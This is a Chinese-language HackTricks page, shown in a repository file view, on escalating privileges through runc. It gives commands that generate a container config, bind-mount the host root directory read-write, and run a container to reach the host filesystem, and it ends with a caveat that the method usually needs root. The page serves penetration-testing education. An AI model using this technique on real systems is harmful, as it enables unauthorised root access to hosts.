hacktricks/linux-hardening/privilege-escalation/runc-privilege-escalation.md
2023-08-03 19:12:22 +00:00

4.3 KiB
Raw Blame History

RunC特权升级

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥

基本信息

如果你想了解更多关于runc的信息,请查看以下页面:

{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %} 2375-pentesting-docker.md {% endcontent-ref %}

PE

如果你发现主机上安装了runc,你可能能够运行一个容器并挂载主机的根目录/文件夹

runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder

Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},

#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs

# Finally, start the container
# The root folder is the one from the host
runc run demo

{% hint style="danger" %} 这种方法并不总是有效因为runc的默认操作是以root身份运行所以以非特权用户身份运行它是不可能的除非你有一个无需root权限的配置。将无需root权限的配置设置为默认配置通常不是一个好主意因为在无需root权限的容器内有一些限制在无需root权限的容器外是不适用的。 {% endhint %}

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥